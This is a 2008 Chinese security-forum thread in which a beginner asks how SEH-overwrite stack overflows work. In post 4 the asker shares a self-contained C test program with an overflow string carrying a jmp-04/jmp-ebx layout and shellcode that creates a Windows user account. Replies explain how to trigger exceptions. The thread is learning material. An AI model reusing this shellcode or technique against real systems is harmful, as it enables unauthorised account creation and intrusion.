首页
社区
课程
招聘
[旧帖] [求助]栈溢出利用方式 - 覆盖SEH 0.00雪花
发表于: 2008-8-2 15:48 5175

[旧帖] [求助]栈溢出利用方式 - 覆盖SEH 0.00雪花

2008-8-2 15:48
5175
以前看教程都有讲过这个方式的,但是我最近刚刚把覆盖ret弄懂点。在意个教程中看到了覆盖异常入口点的知识,不知道这个是不是覆盖SEH啊?下面我描述下吧:

  jmp ebx ...
找到异常处理程序的入口点在buffer中的位置,然后把该入口点覆盖为jmp ebx的地址,一般是7ffa1571。然后再入口点钱4byte覆盖成jmp 04这样可以跳过入口点执行之后的shellcode

分析图如下:
|.....         |
|.....         |
|.....         |
|异常入口   |
|.....         |
--------------

覆盖后为:

|  ......     |
|  ....       |
| jmp 04  |
| jmp ebx |
|shellcode|
-------------

大概就是上面的思路了,写的比较简陋,希望高手给予指定。呵呵。

[课程]FART 脱壳王!加量不加价!FART作者讲授!

收藏
免费 0
支持
分享
最新回复 (8)
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
晕啊,我发的求助帖子总是没人回复啊,谁能告诉我,是我的这个问题比较罕见,还是我问问题的方式不正确啊???

  不好意思啊,顺便问下,如何让程序产生异常 ?
2008-8-2 20:30
0
雪    币: 6092
活跃值: (654)
能力值: ( LV4,RANK:45 )
在线值:
发帖
回帖
粉丝
3
没看懂  太模糊了 不知道你讲什么
如果是溢出  建议你把代码完整的写上来
2008-8-2 20:32
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
3楼这位兄弟!
  

  晕啊,我只是要知道seh到底是什么,也就是覆盖方式的原理。我已经描述过了,如果要是懂bufferoverflow的话,应该可以回答我,如果你不知道就别说类似听不懂我说什么,好像是我描述的不够详细是的。

  源代码无非就是把shellcode strcpy()到buffer而已,关键是shellcode,如果你认为你需要看shellcode才可以确认的话,我可以把嗲吗给你看。

#include <string.h>

int main(void)
{
        char buffer[4];
        char ShellCode[]=
                "\x90\x90\x90\x90"  //Overflow buffer
                "\x44\x44\x44\x44"  //Overflow EBP
                "\xff\xff\xff\xff"  //Overflow RET
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  //nop
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  //nop
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  //nop
                "\x04\xeb\x90\x90"  //jmp 04
                "\x1b\x4a\xfa\x7f"        //jmp ebx
                "\x8B\xE5\x55\x8B\xEC\x33\xFF\x57\x57\x57\x57\xC7\x45\xF1\x6E\x65"  //Create User ShellCode
                "\x74\x20\xC7\x45\xF5\x75\x73\x65\x72\xC7\x45\xF9\x20\x6c\x20\x2E"
                "\x80\x45\xFC\x01\xC6\x45\xFD\x61\xC6\x45\xFE\x64\x33\xC0\x88\x45"
                "\xFF\x8D\x45\xF1\x50\xB8\x4A\x9B\x01\x78\xFF\xD0";
        strcpy(buffer,ShellCode);
        return 0;
}
2008-8-2 20:47
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
ret已经被覆盖成ffffffff了,但是这样是不是在返回的时候可以把控制交给seh啊。
但是好像是不对的,我用od调试看eip是ffffffff,就无法继续了。我想是不是要在ret之前来触发异常。

  还请高手指教,谢谢。
2008-8-2 20:49
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
gyk
6
产生异常的方法很多,你随便弄点不符合Windows API规则的东西就能产生了
比如恶心的一点的,用0来除某个数字,或者throw
2008-8-2 20:51
0
雪    币: 2067
活跃值: (82)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
7
请问你们弄这个在做何用啊?
这论坛好像不管程度高低都在弄这个.
f-.-
2008-8-2 20:52
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
谢谢6楼的兄弟,我的意思是不是可以在shellcode中来弄啊,就是模拟一次攻击啊,呵呵,不希望漏洞程序本身就有异常,我还真不知道怎么做了,我是刚学缓冲区溢出,谢谢指教了。今天刚看了一下这个覆盖方式,就像赶快利用一下。我用od看了下,覆盖的位置都正确就是不知道怎么才可以跳到shellcode了,呵呵。并且我对这个利用方式也是了解一点,我现在在去查查资料吧。
2008-8-2 21:01
0
雪    币: 6092
活跃值: (654)
能力值: ( LV4,RANK:45 )
在线值:
发帖
回帖
粉丝
9
黑自己的电脑先
2008-8-2 21:18
0
游客
登录 | 注册 方可回帖
返回
//